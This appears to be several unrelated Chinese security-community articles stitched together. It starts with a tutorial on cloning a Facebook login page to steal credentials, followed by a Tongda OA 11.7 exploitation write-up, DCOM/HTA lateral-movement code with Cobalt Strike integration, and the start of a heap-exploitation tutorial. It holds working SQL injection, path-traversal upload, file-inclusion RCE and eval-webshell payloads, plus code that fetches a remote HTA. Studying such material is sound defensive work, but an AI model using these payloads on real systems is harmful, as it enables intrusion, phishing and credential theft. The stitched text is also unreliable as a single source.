在这里，让我们克隆Facebook网站
将url粘贴到SET工具包终端中，开始克隆
现在url已被克隆。您可以将克隆的网站发送给受害者，他单击链接，您就能在kali linux中获得他的凭证。
一旦受害者单击链接，受害者将被重定向到登录页面。
我在这里输入详细信息：
用户名：xxxxxxxxxx @ gmail.com
密码：123456
现在转到您的Kali Linux并转到位置：
root/.set//reports/2018–12–27 08:03:52.640607.html
在此文件中，您将以明文形式获取所有凭据。
这样你就能拿到受害者的凭证了!
以上。 | 社区文章 |
# 通达oa11.7 漏洞整理及复现
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 环境安装
下载链接：
<https://cdndown.tongda2000.com/oa/2019/TDOA11.7.exe>
windows server 2008直接安装有bug
windows server 2012直接双击安装就完事了
2012装vmwaretools 不好使 最后还是用python -m http.server搭服务器下载的
修复vmwaretools：
<https://blog.csdn.net/fly_hps/article/details/104300665>
装好oa之后，在主机访问不到虚拟机里的oa服务，原因是iis默认的防火墙给拦截了，关闭防火墙或者增加一个入站规则
<https://blog.csdn.net/weixin_33690963/article/details/93118409>
默认密码为空
## 快速查看版本
<http://192.168.0.116/inc/expired.php>
## 难点
### 1，过滤危险函数
disable_functions =
exec,shell_exec,system,passthru,proc_open,show_source,phpinfo,popen,dl,eval,proc_terminate,touch,escapeshellcmd,escapeshellarg
在windows下可以使用com组件绕过
但是com拓展在5.4默认加载，其他php版本没有加载
通达11.7没有加载
<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c ".$command); // 调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
目前没有好的绕过方法
### 2，包含了常见的一句话木马，但是echo可以，var_dump(scandir(‘.’));都不行
只要传的参数有引号就不行，查看日志：
[11-Mar-2021 09:35:42 Etc/GMT-8] PHP Parse error: syntax error, unexpected '"', expecting identifier (T_STRING) in C:\oa\webroot\general\reportshop\workshop\report\attachment-remark\}_1.txt(1) : eval()'d code on line 1
[11-Mar-2021 09:35:48 Etc/GMT-8] PHP Parse error: syntax error, unexpected ''21\');' (T_ENCAPSED_AND_WHITESPACE), expecting identifier (T_STRING) in C:\oa\webroot\general\reportshop\workshop\report\attachment-remark\}_1.txt(1) : eval()'d code on line 1
但是不通过文件包含，直接给shell.php传参又可以正常执行
可以通过包含文件直接写马，写的马由于disable_function限制，能连蚁剑，多的命令执行不了
### 3，通达的数据库都是加密的
少部分可以解出来
### 4，内置的nginx配置直解析php
location ~ \.php$ {
fastcgi_pass OfficeFPM;
fastcgi_index index.php;
include fastcgi.conf;
add_header X-Frame-Options SAMEORIGIN;
}
## payload
fofa : “/static/templates/2019_01/logo.png”
### 1，任意用户登录（要求用户在线）
通达OA V11.7版本存在这任意用户登录漏洞
访问：http://127.0.0.1/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
页面若是空白的即说明该uid用户在线，可以利用，此时访问：http://127.0.0.1/general/即可登录后台
若页面返回RELOGIN 则管理员不在线
[https://www.t00ls.net/viewthread.php?tid=59880&highlight=%E9%80%9A%E8%BE%BE](https://www.t00ls.net/viewthread.php?tid=59880&highlight=%E9%80%9A%E8%BE%BE)
### 2，后台布尔盲注
http://192.168.0.116/general/hr/manage/query/delete_cascade.php?condition_cascade=select if((substr(user(),1,1)='r'),1,power(9999,99))
<https://www.cnblogs.com/yuzly/p/13690737.html>
### 3，后台时间盲注
http://192.168.0.116/general/email/inbox/get_index_data.php?timestamp=&curnum=0&pagelimit=10&total=&boxid=0&orderby=(SELECT count(*) FROM information_schema.columns A, information_schema.columns B where 1=1 and (LENGTH(database())=5))
[https://www.t00ls.net/viewthread.php?tid=58383&highlight=%E9%80%9A%E8%BE%BE](https://www.t00ls.net/viewthread.php?tid=58383&highlight=%E9%80%9A%E8%BE%BE)
### 4，将非php文件传到任意位置(需要登录)
会检测referer
import requests
burp0_url = "http://192.168.0.116:80/general/reportshop/utils/upload.php"
burp0_cookies = {"USER_NAME_COOKIE": "admin", "OA_USER_ID": "admin", "creat_work": "new", "PHPSESSID": "29n49sf6pck3jaslqf69fppaa1", "SID_1": "2b8073b6"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://127.0.0.1:888", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryWqqWIbfwlL4YwO4Q", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://192.168.0.116/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh,zh-CN;q=0.9", "Connection": "close"}
burp0_data = "------WebKitFormBoundaryWqqWIbfwlL4YwO4Q\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n------WebKitFormBoundaryWqqWIbfwlL4YwO4Q\r\nContent-Disposition: form-data; name=\"newid\"\r\n\r\n1\r\n------WebKitFormBoundaryWqqWIbfwlL4YwO4Q\r\nContent-Disposition: form-data; name=\"filetype\"\r\n\r\n\r\n------WebKitFormBoundaryWqqWIbfwlL4YwO4Q\r\nContent-Disposition: form-data; name=\"FILE1\"; filename=\"1.txt\"\r\nContent-Type: text/plain\r\n\r\n123213\r\n------WebKitFormBoundaryWqqWIbfwlL4YwO4Q--\r\n"
requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
c:/oa/webroot/attachment/reportshop/attachment/{../../../../../}_1.txt => oa/webroot/}_1.txt
c:/oa/webroot/attachment/reportshop/attachment/{../../../../../general/}_1.txt => oa/webroot
../../../../../../../../../../../../../oa/webroot/ => 禁止创建
../../../../../../../../../../../../../oa/webroot/general/ => 禁止创建
../../../../../../../../../../../../../oa/attach/ => ok
../../../../../../../../../../../../../oa/ => ok
../../../../../../../../../../../../../oa/123/ => false
需要绕过这个限制：
if ((strpos($source, "webroot") !== false) && (strpos($source, "attachment") === false)) {#当有webroot 没有attachment时，false
return false;
}
else {
return true;
}
所以设置newid为：
../../../../../../../../../../../../../oa/webroot/general/reportshop/workshop/report/attachment-remark/ => ok
### 5，任意文件包含(需要登录)
http://192.168.0.116/ispirit/interface/gateway.php?json={"url":"/general/reportshop/workshop/report/attachment-remark/}_1.txt"}
与前一个上传结合，可以实现rce
### 6，通过前面盲注添加mysql用户，rce(需要登录)
通达oa默认是高权限sql用户
1,默认是不能远程连接的，添加用户远程连接 at666 abcABC@123
http://192.168.0.116/general/hr/manage/query/delete_cascade.php?condition_cascade=grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION
2,连接上数据库，此时权限只能访问到mysql，添加权限，在数据库软件中执行
UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('at666' AS Binary(5));
3，之后刷新权限，在盲注点执行，不然权限不够
general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;
4，再连接可能会报错you must set password before executing this statement
再多执行几遍：
grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION
5，连接数据库，
select @@basedir;
set global general_log = on;
set global general_log_file = 'C:/td0a117/webroot/tony2.php';
select '<?php eval($_POST[x]);?>';
show variables like '%general%';
### 7，敏感信息泄露(需要登录)
<http://192.168.0.116//general/approve_center/archive/getTableStruc.php>
绝对路径等
### 8，任意文件读取(需要登录)
curl "http://192.168.0.116/ispirit/im/photo.php?AVATAR_FILE=c:/oa/bin/redis.windows.conf&UID=1" > 1.txt --cookie "PHPSESSID=neulied1e0s35tp9u1vcdbeea5; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c05b8089"
### 9，ssrf(需要登录)
http://192.168.0.116/pda/workflow/img_download.php?PLATFORM=dd&ATTACHMENTS=wqx0mc.dnslog.cn
## 复现
首先安装好之后，目录如下
2021/03/08 16:06 <DIR> .
2021/03/08 16:06 <DIR> ..
2021/03/08 15:40 <DIR> attach
2021/03/08 15:40 <DIR> bin
2021/03/08 15:40 <DIR> data5
2021/03/08 15:40 <DIR> logs
2021/03/08 15:40 <DIR> MyAdmin
2021/03/08 15:40 <DIR> mysql5
2021/03/08 15:40 <DIR> nginx
2016/09/08 17:32 3,606 readme.txt
2021/03/08 15:40 <DIR> tmp
2021/03/08 15:42 <DIR> webroot
2021/03/08 15:42 <DIR> 帮助文档
attach是oa专门用来存放上传附件的目录
网站源码在webroot，使用zend进行了加密
通达oa使用的都是自带的离线版的nginx和mysql，redis等，所以直接一键安装，别的都不用管
这样就导致没有好的办法动态调试。
直接自己把解密的php在用Zend Guard7加密替换原php文件，尝试这样debug
会报500
可能是加密的方式不对，暂时没好的办法
使用SeayDzend进行解密
在/inc/conn.php有sql注入过滤函数
### 1，任意用户登录
漏洞位置：mobile/auth_mobi.php
if (($isAvatar == "1") && ($uid != "") && ($P_VER != "")) {
$sql = "SELECT SID FROM user_online WHERE UID = '$uid' and CLIENT = '$P_VER'";
$cursor = exequery(TD::conn(), $sql);
if ($row = mysql_fetch_array($cursor)) {
$P = $row["SID"];
}
}
直接将传入的uid从数据库中查询，然后赋给当前用户了
### 2，后台布尔盲注
漏洞位置：general/hr/manage/query/delete_cascade.php
if ($condition_cascade != "") {
$query = str_replace("\'", "'", $condition_cascade);
$cursor = exequery(TD::conn(), $query);
while ($ROW = mysql_fetch_array($cursor)) {
$USER_ID = $ROW["USER_ID"];
有过滤，通过power(9999,99)构造报错注入
### 3，后台时间盲注
漏洞位置：general/email/inbox/get_index_data.php #109
$email_array = get_email_data($orderby, $asc, $boxid, $email_fliter, $pagelimit, $timestamp, $curnum, $is_webmailbox, $is_main, $boxname, $list_view);
echo retJson($email_array);
echo "\r\n";
orderby会拼接到sql语句中，使用笛卡尔积进行时间盲注
orderby=(SELECT count(*) FROM information_schema.columns A,
information_schema.columns B where 1=1 and (LENGTH(database())=5))
### 4，将非php文件传到任意位置
漏洞位置：general/reportshop/utils/upload.php #170
else if (!empty($_FILES)) {
$s_n = $_FILES[$fileid]["name"];
if (!check_filename($s_n) || !check_filetype($s_n)) {
if (isset($json)) {
echo "{";
echo "new_name:'',\n";
echo "error: 'true',\n";
echo "msg: '文件不符合要求'\n";
echo "}";
}
else {
echo "文件不符合要求！";
}
exit();
}
if (($s_n[0] != "{") && isset($newid)) {
$s_n = "{" . $newid . "}_" . $s_n;
}
if (td_move_uploaded_file($_FILES[$fileid]["tmp_name"], $uploaddir . $s_n)) {
}
else {
$b_res = "false";
}
}
}
if (isset($_FILES[$fileid])) {
td_unlink($_FILES[$fileid]["tmp_name"]);
}
}
将newid不经过滤直接拼接到了上传路径中，所以我们可以通过newid参数控制上传的位置
上传文件的后缀限制了不能传输php，尝试了其他php5，php.，php::$DATA都不行，类似的限制比较多
可以先不管，后续通过文件包含来解决
构造一个上传页面：
<html>
<body>
<form action="http://192.168.0.116/general/reportshop/utils/upload.php" method="post" enctype="multipart/form-data">
<input type="text"name='action' value = 'upload' ></input>
<!-- <input type="text"name='rid' value = '{123456789123456789123456789123456789}'></input> -->
<input type="text"name='newid' value = '../../../../../' ></input>
<input type="text"name='filetype' value = '' ></input>
<input type="file" name="FILE1"></input>
<input type="submit" ></input>
</body>
</html>
抓包之后需要把referer修改掉，再添加上登录后的cookie即可上传成功
### 5，文件包含
if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val ) {
if ($key == "data") {
$val = (array) $val;
foreach ($val as $keys => $value ) {
$keys = $value;
}
}
if ($key == "url") {
$url = $val;
}
}
if ($url != "") {
if (substr($url, 0, 1) == "/") {
$url = substr($url, 1);
}
if (strpos($url, "..") !== false) {
echo _("ERROR URL");
exit();
}
if ((strpos($url, "general/") === 0) || (strpos($url, "ispirit/") === 0) || (strpos($url, "module/") === 0)) {
include_once $url;
}
}
exit();
}
这里限制了url的开始必须为general or ispirit or module
所以在前面设置newid为../../../../../../../../../../../../../oa/webroot/general/reportshop/workshop/report/attachment-remark/
即可把txt文件上传到general目录下，然后payload包含即可rce
http://192.168.0.116/ispirit/interface/gateway.php?json={"url":"/general/reportshop/workshop/report/attachment-remark/}_1.txt"}
前面疑问的方法暂时不知道为什么，可以直接包含txt然后写马
1.txt：
<?php
$code = hex2bin('3C3F706870206576616C28245F504F53545B2761275D293B3F3E');
file_put_contents("shell.php",$code);
?>
shell.php位于C:\oa\webroot\ispirit\interface\shell.php
## 参考资料
<https://www.anquanke.com/post/id/210395>
<https://paper.seebug.org/1499/>
<https://p2hm1n.com/2021/03/06/%E9%80%9A%E8%BE%BE-OA-11-7-%E7%BB%84%E5%90%88%E6%8B%B3-RCE-%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/>
<https://paper.seebug.org/1499/>
[https://mp.weixin.qq.com/s?__biz=MzIxNDAyNjQwNg==&mid=2456098083&idx=1&sn=2585849a9fb521d690763357ac050894&scene=21#wechat_redirect](https://mp.weixin.qq.com/s?__biz=MzIxNDAyNjQwNg==&mid=2456098083&idx=1&sn=2585849a9fb521d690763357ac050894&scene=21#wechat_redirect) | 社区文章 |
# LethalHTA 一种结合DCOM和HTA的新型横向渗透技术
|
##### 译文声明
本文是翻译文章，文章来源：codewhitesec.blogspot.com
原文地址：<https://codewhitesec.blogspot.com/2018/07/>
译文仅供参考，具体内容表达以及含义原文为准。
本篇文章，主要介绍了一种新型的横向渗透手法，它把DOCM和HTA两者结合起来，实现有效的隐蔽攻击。对于这个技术，来自我们最近研究成果的一部分，具体可以参考:
[Marshalling to SYSTEM – An analysis of
CVE-2018-0824](https://codewhitesec.blogspot.com/2018/06/cve-2018-0624.html)。
## 前期工作
在此之前，[Matt Nelson](https://twitter.com/enigma0x3),[Ryan
Hanson](https://twitter.com/ryhanson), [Philip
Tsukerman](https://twitter.com/philiptsukerman) 和 @bohops
这几位研究者，已经公布了多种使用DCOM作为横向渗透的技术。关于这些技术的总结能够在 Philip Tsukerman
的[博客](https://www.cybereason.com/blog/dcom-lateral-movement-techniques)看到
。大多数现有的技术都是通过ShellExecute(Ex) 这个方法来执行相关命令。而 Microsoft Office 提供的一些COM
对象，则允许执行脚本代码（如VBScript）, 这大大提高了分析人员后期的检测和取证的难度。
## LETHALHTA介绍
LETHALHTA基于一个广为所知的COM对象—htafile，这个对象在过去名为“Office Moniker
attacks”的攻击中持续使用，关于这个攻击的感兴趣的同学，可以查看火眼的分析报告[FireEye’s blog
post](https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html)。
ProgID: “htafile”
CLSID : “{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}”
AppID : “{40AEEAB6-8FDA-41E3-9A5F-8350D4CFCA91}”
我们通过使用James Forshaw 开发的一款名为
[OleViewDotNet](https://github.com/tyranid/oleviewdotnet)的工具，得到关于htafile的详细信息。这个COM对象以本地服务器的权限运行。
可以看到，它拥有App ID，以及默认的启动和访问权限。一个COM对象，当其拥有App ID时，才能用以横向渗透。
从OleViewDotNet中所反馈的信息中，我们可以看到，它还实现了数个接口。
其中有一个名为 IPersistMoniker的接口，此接口的功能是，从[IMoniker](https://docs.microsoft.com/en-us/windows/desktop/api/objidl/nn-objidl-imoniker)实例中保存或者恢复一个COM对象的状态。
MIDL_INTERFACE("79eac9c9-baf9-11ce-8c82-00aa004ba90b")
IPersistMoniker : public IUnknown
{
public:
virtual HRESULT STDMETHODCALLTYPE GetClassID(
/* [out] */ __RPC__out CLSID *pClassID) = 0;
virtual HRESULT STDMETHODCALLTYPE IsDirty( void) = 0;
virtual HRESULT STDMETHODCALLTYPE Load(
/* [in] */ BOOL fFullyAvailable,
/* [in] */ __RPC__in_opt IMoniker *pimkName,
/* [in] */ __RPC__in_opt LPBC pibc,
/* [in] */ DWORD grfMode) = 0;
virtual HRESULT STDMETHODCALLTYPE Save(
/* [in] */ __RPC__in_opt IMoniker *pimkName,
/* [in] */ __RPC__in_opt LPBC pbc,
/* [in] */ BOOL fRemember) = 0;
virtual HRESULT STDMETHODCALLTYPE SaveCompleted(
/* [in] */ __RPC__in_opt IMoniker *pimkName,
/* [in] */ __RPC__in_opt LPBC pibc) = 0;
virtual HRESULT STDMETHODCALLTYPE GetCurMoniker(
/* [out] */ __RPC__deref_out_opt IMoniker **ppimkName) = 0;
};
我们最初的设想，是创建一个COM对象，然后通过使用指向HTA文件的URLMoniker，调用IPersistMoniker->Load()
方法来恢复其状态。所以我们在VisualStudio中创建了一个小程序，并且运行它。
int wmain(int argc, wchar_t *argv[], wchar_t *envp[])
{
GUID gHtafile = { 0x3050f4d8,0x98b5,0x11cf,{ 0xbb,0x82,0x00,0xaa,0x00,0xbd,0xce,0x0b } };
HRESULT hr;
IUnknownPtr pOut;
IPersistMonikerPtr pPersMon;
IMonikerPtr pMoniker;
MULTI_QI* rgQI = new MULTI_QI[1];
COSERVERINFO stInfo = { 0 };
WCHAR pwszTarget[MAX_PATH] = { L"192.168.1.11" };
WCHAR pwszHta[MAX_PATH] = { L"http://192.168.1.12:8000/test.hta" };
rgQI[0].pIID = &IID_IUnknown;
rgQI[0].pItf = NULL;
rgQI[0].hr = 0;
stInfo.pwszName = pwszTarget;
stInfo.dwReserved1 = 0;
stInfo.dwReserved2 = 0;
stInfo.pAuthInfo = nullptr;
CoInitialize(0);
hr = CreateURLMonikerEx(NULL, pwszHta, &pMoniker, 0);
hr = CoCreateInstanceEx(gHtafile, NULL, CLSCTX_REMOTE_SERVER, &stInfo, 1, rgQI);
pOut = rgQI[0].pItf;
hr = pOut->QueryInterface(&pPersMon);
hr = pPersMon->Load(FALSE, pMoniker, NULL, STGM_READ);
}
但是当我们调用IPersistMoniker->Load()
时，返回了一个0x80070057的错误码。在经过一段煎熬的Debug之后发现，这个错误码是来自对CUrlMon::GetMarshalSizeMax()的调用。该方法使用于对URLMoniker进行marshalling（编码，是计算机科学中把一个对象的内存表示变换为适合存储或发送的数据格式的过程）期间。在调用IPersistMoniker->Load()方法时，把URLMoniker作为参数进行传递，这应该是完全合理的。但是，我们是对远程COM对象执行方法调用。因此，我们的参数需要进行自定义的marshalling（编码），并且通过RPC（远程过程调用，一种通信方式），发送到COM服务器的RPC端点。
因此，我们在IDA PRO中查看，关于CUrlMon::GetMarshalSizeMax()
的实现。如下图，我们看到，在一开始就对CUrlMon::ValidateMarshalParams()这个函数进行调用。
在这个函数的最后，我们发现了错误码集合有在函数中作为函数的返回值。Microsoft
会验证dwDestContext参数。如果传入的参数是MSHCTX_DIFFERENTMACHINE（0x2），程序最终会返回的上文中的错误码。
正如我们在CUrlMon::ValidateMarshalParams()的引用中看到的那样，在marshalling（编码）期间，有多个函数都会调用该方法。
为了绕过验证，可以采用我们之前的发表的一篇文章所讲述的方法：首先创建一个伪造的对象。这个伪造的对象需要实现 IMarshal
和IMoniker这两个接口。它会把所有的调用都转发给URLMoniker实例。为了绕过 CUrlMon::GetMarshalSizeMax,
CUrlMon::GetUnmarshalClass,
CUrlMon::MarshalInterface这三个方法的参数验证，我们需要修改dwDestContext参数为MSHCTX_NOSHAREDMEM(0x1)。下面是实现CUrlMon::GetMarshalSizeMax()
的代码片段。
virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags,
/* [annotation][out] */
_Out_ DWORD *pSize)
{
return _marshal->GetMarshalSizeMax(riid, pv, MSHCTX_NOSHAREDMEM, pvDestContext, mshlflags, pSize);
}
这样，我们就实现参数验证的认证。当然，您也可以修改urlmon.dll中的代码。但是这需要调用VirtualProtect()
这个方法，来使内存分页可写，然后使得CUrlMon::ValidateMarshalParams()的返回值总是为0。但我们不建议使用它，VirtualProtect()是一个敏感函数，很容易被EDR（终端检测与响应系统）和“高级”的安全软件查杀。
现在，我们可以在远程COM 对象上调用
IPersistMoniker->Load()。这个COM对象实现了COM对象从URL中加载HTA文件及执行内容。众所周知，HTA文件可以包含执行脚本代码如JScrip或者VBScript。聪明的你应该想到，把我们的技巧和James
Forshaw的 DotNetToJScript结合起来，这样就可以在内存中执行你的Payload！
值得一提的是，这个远程加载的文件并不一定需要hta文件作为后缀。类似于html，txt,rtf，甚至是无后缀都能够很好的执行（也就是只要文件内容是hta格式，文件后缀并不重要）。
## LETHALHTA 和 LETHALHTADOTNET
我们为这个技术编写了c++和C#的证明实现。您可以将它们作为独立的程序运行。C++
的版本更象实一个概念的验证（POC），这可以帮助您创建一个反射的dll。c#的版本可以作为程序集，使用Assembly.Load(Byte[])进行加载，这样就可以在Powershell的脚本中便捷的使用它。我们已经可以在[GitHub](https://github.com/codewhitesec/LethalHTA)的[发行版](https://github.com/codewhitesec/LethalHTA/releases)上发布了它的实现。
## 在COBALT STRIKE中集成
为了能够在我们的日常工作中轻松的使用这项技术。我们创建了一个名为“LethalHTA.cna”的Cobalt Strike
Aggressor脚本。它通过.NET实现，我们能在Cobalt Strike的图形界面中方便的使用它。其提供两种不同的横向渗透的方法：HTA
PowerShell Delivery (staged – x86) 和 HTA .NET In-Memory Delivery (stageless –
x86/x64 dynamic)。
HTA PowerShell Delivery
方法允许在目标系统上执行基于Powershell的beacon命令。前提是，目标系统需要能够访问HTTP(S)主机以及渗透人员的TeamServer（在大多数情况下，它们都位于同一系统上）。
HTA .NET In-Memory
Delivery方法使用内存加载运行，这使得该技术更加实用。该技术在Payload传输和隐蔽性方面，更加的灵活多变。使用这个技术，可以通过beacon传输HTA，还可以指定代理服务器。如果目标系统无法访问到TeamServer，或者连接不到其他处于Internet上的系统（即HTTP（S）协议被拦截）。我们还可以使用SMB监听器。这项技术可以通过SMB访问到我们的Beacon，对通信协议有了更多的选择。
文中所介绍的技术，所有的操作都是在mshta.exe进程中完成，无需创建其他进程。
这两种技术的结合，除了可以执行上述的HTA攻击向量。理论上我们可以在内存中执行任意操作。利用DotNetToJScript，我们可以加载一个简单的.NET
类（SCLoader），用来动态的判单目标的操作系统是32位还是64位，以此来决定接下来我们要执行特定的beacon
shellcode。当你其他的渗透场景中，不知到目标操作系统的的体系结构时，这项判断技术就很实用了。
要了解更多步骤的详细说明，可以访问我们的[GitHub
Project](https://github.com/codewhitesec/LethalHTA/tree/master/CobaltStrike)。
## 关于检测
要检测该项技术，您可以查看包含“ActiveXObject”的INetCache(%windir%[System32 or
SysWOW64]configsystemprofileAppDataLocalMicrosoftWindowsINetCacheIE)
文件夹中的文件，这是因为mshta.exe在执行时会缓存Payload文件。此外，还可以判断mshta.exe是否由svchost.exe所衍生的新进程，进行检测排查。
审核人：yiwang 编辑：边边 | 社区文章 |
# how2heap之开篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 欢迎各位喜欢安全的小伙伴们加入星盟安全 UVEgZ3JvdXA6IDU3MDI5NTQ2MQ==
>
> how2heap系列几个月前更新了!!!!大事件,正好寒假时间充裕,不如把how2heap总结一遍算了,千万别咕咕咕了hhh
PS:由于本人才疏学浅,文中可能会有一些理解的不对的地方,欢迎各位斧正 🙂
## 参考网站
https://ctf-wiki.github.io/ctf-wiki/pwn
https://blog.csdn.net/liying_1234/article/details/52053183
https://code.woboq.org/
https://github.com/shellphish/how2heap/tree/master/glibc_2.25
https://xz.aliyun.com/t/2582#toc-4
## 前置
因为分为glibc2.25和glibc2.26,
因此我先起一个ubuntu16.04的docker
_注:tcache,largebin,unsorted bin为先进后出,fastbin,smallbin为先进先出_
git clone https://github.com/shellphish/how2heap.git
cd how2heap
make
对glibc的内存管理机制不熟的小伙伴,这里强烈推荐华庭师傅的glibc内存管理!!
虽然版本有些老,但是对理解glibc还是有极大的帮助的
## 0x01 first-fit
### 源代码
我们先看看源代码,这里我做了些处理,将一些作者的话删掉了:)
删掉的话的大概意思就是本文件不是攻击demo,而是对glibc一个选择chunk机制(first-fit)的一个说明,这个机制经常被用在uaf的利用中
所谓的first-fit就是首次适应算法,这里有一篇文章对常见内存分配算法有一个总结:
[常见内存分配算法](https://blog.csdn.net/liying_1234/article/details/52053183)
好了,不影响,我们直接看源代码,加了一小点翻译
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
//分配两个缓冲区,不一定是fastbin,可以比较大的
fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.n");
char* a = malloc(0x512);
char* b = malloc(0x256);
char* c;
fprintf(stderr, "1st malloc(0x512): %pn", a);
fprintf(stderr, "2nd malloc(0x256): %pn", b);
fprintf(stderr, "we could continue mallocing here...n");
fprintf(stderr, "now let's put a string at a that we can read later "this is A!"n");
strcpy(a, "this is A!");
fprintf(stderr, "first allocation %p points to %sn", a, a);
fprintf(stderr, "Freeing the first one...n");
free(a);
//我们不用再释放其他的缓冲区了,只要我们分配的小于0x512,就可以从刚刚free的内存里取
fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %pn", a);
fprintf(stderr, "So, let's allocate 0x500 bytesn");
c = malloc(0x500);
fprintf(stderr, "3rd malloc(0x500): %pn", c);
fprintf(stderr, "And put a different string here, "this is C!"n");
strcpy(c, "this is C!");
fprintf(stderr, "3rd allocation %p points to %sn", c, c);
fprintf(stderr, "first allocation %p points to %sn", a, a);
fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.n");
}
### 程序结果
我们再运行一下程序
This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.
glibc uses a first-fit algorithm to select a free chunk.
If a chunk is free and large enough, malloc will select this chunk.
This can be exploited in a use-after-free situation.
Allocating 2 buffers. They can be large, don't have to be fastbin.
1st malloc(0x512): 0x1e03010
2nd malloc(0x256): 0x1e03530
we could continue mallocing here...
now let's put a string at a that we can read later "this is A!"
first allocation 0x1e03010 points to this is A!
Freeing the first one...
We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at 0x1e03010
So, let's allocate 0x500 bytes
3rd malloc(0x500): 0x1e03010
And put a different string here, "this is C!"
3rd allocation 0x1e03010 points to this is C!
first allocation 0x1e03010 points to this is C!
If we reuse the first allocation, it now holds the data from the third allocation.
### 关键部分调试
因为内容比较简单,这里就做一个写入内容的对比吧
1. 首先在写c之前下一个断点
pwndbg>
31 fprintf(stderr, "3rd malloc(0x500): %pn", c);
32 fprintf(stderr, "And put a different string here, "this is C!"n");
33 strcpy(c, "this is C!");
34 fprintf(stderr, "3rd allocation %p points to %sn", c, c);
35 fprintf(stderr, "first allocation %p points to %sn", a, a);
36 fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.n");
37 }
pwndbg> b 32
Breakpoint 1 at 0x400842: file first_fit.c, line 32.
1. 运行一下康康
程序停在了第32行
1st malloc(0x512): 0x603010
2nd malloc(0x256): 0x603530
we could continue mallocing here...
now let's put a string at a that we can read later "this is A!"
first allocation 0x603010 points to this is A!
Freeing the first one...
We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at 0x603010
So, let's allocate 0x500 bytes
3rd malloc(0x500): 0x603010
那我们先看看a的内容吧
pwndbg> p a
$17 = 0x603010 "25037335367377177"
然后再看下c的内容
pwndbg> p c
$18 = 0x603010 "25037335367377177"
可以看到此时a,c位于同一内存空间
现在两个单步直接给c赋值为”this is c”
此时康康a和c的内容
pwndbg> p a
$19 = 0x603010 "this is C!"
pwndbg> p c
$20 = 0x603010 "this is C!"
更改c时成功更改了a的内容
### 总结
可以看到程序先分配了两个chunk块a(0x512),b(0x256)
然后给a赋值为”this is A”,释放a,之后分配c(0x500)
然后给C赋值为”this is C”,此时输出a,c的地址和内容
发现a块和c块内存地址相同,但a的内容改为了C,程序成功通过修改c来修改来a块
而这也可以通过修改a块来修改c块的内容,而这也是一个uaf漏洞(free后并未置0) 🙂
first-fit的内容比较简单,这里也不再多讲,进入下一个
## 0x02 fastbin_dup
### 源代码
还是先看源代码
#include <stdio.h>
#include <stdlib.h>
int main()
{
//一个基于fasstbin的简单的double-free利用
fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.n");
fprintf(stderr, "Allocating 3 buffers.n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %pn", a);
fprintf(stderr, "2nd malloc(8): %pn", b);
fprintf(stderr, "3rd malloc(8): %pn", c);
